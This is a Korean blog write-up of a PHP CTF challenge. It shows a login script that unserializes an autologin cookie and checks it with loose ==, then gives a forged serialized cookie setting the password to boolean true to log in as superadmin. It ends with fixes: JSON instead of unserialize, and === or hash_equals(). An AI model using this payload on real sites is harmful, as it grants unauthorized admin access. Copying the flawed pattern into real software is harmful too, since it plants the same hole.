ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • PHP - Serialization
    Hacking/CTF 문제 풀이 2025. 7. 11. 10:12
    728x90
    반응형

    Working through problems

    ✅ Source Code

    <?php
    define('INCLUDEOK', true);
    session_start();
    
    if(isset($_GET['showsource'])){
        show_source(__FILE__);
        die;
    }
    
    /******** AUTHENTICATION *******/
    // login / passwords in a PHP array (sha256 for passwords) !
    require_once('./passwd.inc.php');
    
    if(!isset($_SESSION['login']) || !$_SESSION['login']) {
        $_SESSION['login'] = "";
        // form posted ?
        if($_POST['login'] && $_POST['password']){
            $data['login'] = $_POST['login'];
            $data['password'] = hash('sha256', $_POST['password']);
        }
        // autologin cookie ?
        else if($_COOKIE['autologin']){
            $data = unserialize($_COOKIE['autologin']);
            $autologin = "autologin";
        }
    
        // check password !
        if ($data['password'] == $auth[ $data['login'] ] ) {
            $_SESSION['login'] = $data['login'];
    
            // set cookie for autologin if requested
            if($_POST['autologin'] === "1"){
                setcookie('autologin', serialize($data));
            }
        }
        else {
            // error message
            $message = "Error : $autologin authentication failed !";
        }
    }
    /*********************************/
    ?>
    
    <html>
    <head>
    <style>
    label {
        display: inline-block;
        width:150px;
        text-align:right;
    }
    input[type='password'], input[type='text'] {
        width: 120px;
    }
    </style>
    </head>
    <body>
    <h1>Restricted Access</h1>
    
    <?php
    
    // message ?
    if(!empty($message))
        echo "<p><em>$message</em></p>";
    
    // admin ?
    if($_SESSION['login'] === "superadmin"){
        require_once('admin.inc.php');
    }
    // user ?
    elseif (isset($_SESSION['login']) && $_SESSION['login'] !== ""){
        require_once('user.inc.php');
    }
    // not authenticated ? 
    else {
    ?>
    <p>Demo mode with guest / guest !</p>
    
    <p><strong>superadmin says :</strong> New authentication mechanism without any database. <a href="index.php?showsource">Our source code is available here.</a></p>
    
    <form name="authentification" action="index.php" method="post">
    <fieldset style="width:400px;">
    <p>
        <label>Login :</label>
        <input type="text" name="login" value="" />
    </p>
    <p>
        <label>Password :</label>
        <input type="password" name="password" value="" />
    </p>
    <p>
        <label>Autologin next time :</label>
        <input type="checkbox" name="autologin" value="1" />
    </p>
    <p style="text-align:center;">
        <input type="submit" value="Authenticate" />
    </p>
    </fieldset>
    </form>
    <?php
    }
    
    if(isset($_SESSION['login']) && $_SESSION['login'] !== ""){
        echo "<p><a href='disconnect.php'>Disconnect</a></p>";
    }
    ?>
    </body>
    </html>
    

    분석 요약

    1. 인증 흐름

    if(!isset($_SESSION['login']) || !$_SESSION['login']) {
        // (1) 로그인 폼이 POST 되었는가? -> 함정
        if($_POST['login'] && $_POST['password']) {
            $data['login'] = $_POST['login'];
            $data['password'] = hash('sha256', $_POST['password']);
        }
    
        // (2) autologin 쿠키가 존재하는가?
        else if($_COOKIE['autologin']) {
            $data = unserialize($_COOKIE['autologin']);
            $autologin = "autologin";
        }
    
        // (3) 비밀번호 검증
        if ($data['password'] == $auth[$data['login']]) {
            $_SESSION['login'] = $data['login'];
            ...
        }
    }
    

    인증 경로는 크게 두 가지이며 이 중 autologin 쿠키에 의한 자동 로그인 로직이 우회 지점입니다.

    2. 취약점 포인트 (PHP의 == 느슨한 비교)

    코드 분석 결과 $auth[$data[’login’]]값은 알 수 없기 때문에 해당 취약점 포인트를 사용해야 합니다.

    if ($data['password'] == $auth[$data['login']])
    

    ✅ 조건이 true가 되는 경우는 아래와 같습니다.

    • PHP는 타입이 다른 값을 비교할 때 다음과 같이 자동 변환합니다.

    비교 결과 설명

    true == "something" true 문자열 "something"은 boolean으로 true
    true == "" true 빈 문자열은 false
    true == "0" false "0"은 false

    즉 $data['password']에 boolean true가 들어가면 $auth[$data['login']]이 "0"이나 ""가 아니라면 우회가 가능합니다.

    • 실전이 아닌 문제라는 걸 감안했을때 $auth[…] 결과가 “0” 또는 “” 일 가능성은 없습니다.

    인증 우회 시나리오

    1. autologin 쿠키 생성
      • 직렬화 결과 : a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}
    2. $payload = serialize([ 'login' => 'superadmin', 'password' => true // 핵심: boolean true ]);
    3. 서버 동작 흐름
      1. 서버는 쿠키 값을 unserialize()하여 $data에 할당
      2. $data['login'] === 'superadmin’
      3. $data['password'] === true
      4. true == "..." → true로 평가됩니다.
      5. $_SESSION['login'] = 'superadmin' → 인증 통과
    4. 우회 성공
    5. if ($_SESSION['login'] === "superadmin") { require_once('admin.inc.php'); }

    대응 요약

    1. unserialize() 사용 지양

    조작 가능한 값에서 unserialize() 사용 시 타입 주입, 객체 주입 등의 보안 취약점 발생 가능합니다.

    대응 방법 : json_encode() / json_decode() 사용

    2. == 대신 === 또는 hash_equals() 사용

    ==는 타입 변환을 허용해 "password" => true 같은 우회가 가능합니다.

    대응 방법 : 대응: === 또는 hash_equals()로 엄격 비교

    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    XPath injection - Authentication  (0) 2025.07.12
    CRLF  (0) 2025.07.10
    File upload - Double extensions  (0) 2025.07.09
    File upload - MIME type  (0) 2025.07.08
    Nginx - Root Location Misconfiguration  (0) 2025.07.07
Designed by Tistory.